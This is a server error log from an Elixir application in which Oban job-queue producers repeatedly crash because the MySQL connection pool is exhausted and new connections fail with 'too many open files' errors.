State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:27:34.260543Z], limit: 50, uuid: "35cfd7c8-7d7a-4310-9b7c-fbbf556dd2d1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.260554Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249469>, refresh_timer: #Reference<0.2525715032.1077411843.249468>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1088ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:27:34.253843Z], limit: 5, uuid: "75068795-b70d-41c1-9f4b-87a0ceea6513", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.253848Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.17163>, refresh_timer: #Reference<0.2525715032.1068498948.6592>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:46.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 896ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:27:34.252113Z], limit: 10, uuid: "21003277-de09-4b5e-b923-9ae69f0276cd", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:34.252121Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.17162>, refresh_timer: #Reference<0.2525715032.1068498948.6580>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:47.269000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:47.319000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:47.515000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:49.476000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:51.030000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:53.138000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:54.874000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.588.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:57.289000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.584.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:58.188000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:27:58.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 843ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-05 23:27:46.239791Z], limit: 50, uuid: "d6c40414-e281-46d2-a049-c8bd2136d45e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.239796Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.6963>, refresh_timer: #Reference<0.2525715032.1121189889.116935>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1076ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-05 23:27:46.240257Z], limit: 5, uuid: "7312542e-d327-48f5-8095-4d8db7222387", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.240263Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249585>, refresh_timer: #Reference<0.2525715032.1099431938.17260>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1085ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-05 23:27:46.238084Z], limit: 20, uuid: "0887b475-fe35-4f40-9663-2c2b2d555eac", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.238090Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249581>, refresh_timer: #Reference<0.2525715032.1077411843.249550>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1044ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-05 23:27:46.241960Z], limit: 10, uuid: "e04edb00-c183-4354-8ce3-66a1dee771f9", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.241965Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249582>, refresh_timer: #Reference<0.2525715032.1077411843.249580>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 820ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-05 23:27:46.238546Z], limit: 3, uuid: "a291e79d-61ec-44a3-b4d0-939131257358", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.238553Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249583>, refresh_timer: #Reference<0.2525715032.1077411843.249546>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.238000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-05 23:27:46.239733Z], limit: 5, uuid: "4371ebf7-f334-4fe9-bfa5-de34a93c7219", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-05 23:27:46.239738Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1077411843.249584>, refresh_timer: #Reference<0.2525715032.1121189889.116932>, dispatch_cooldown: 5, running: %{}}
[Sat Sep  5 23:27:58.581000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:04.303000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.593.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:04.481000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sat Sep  5 23:28:07.462000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
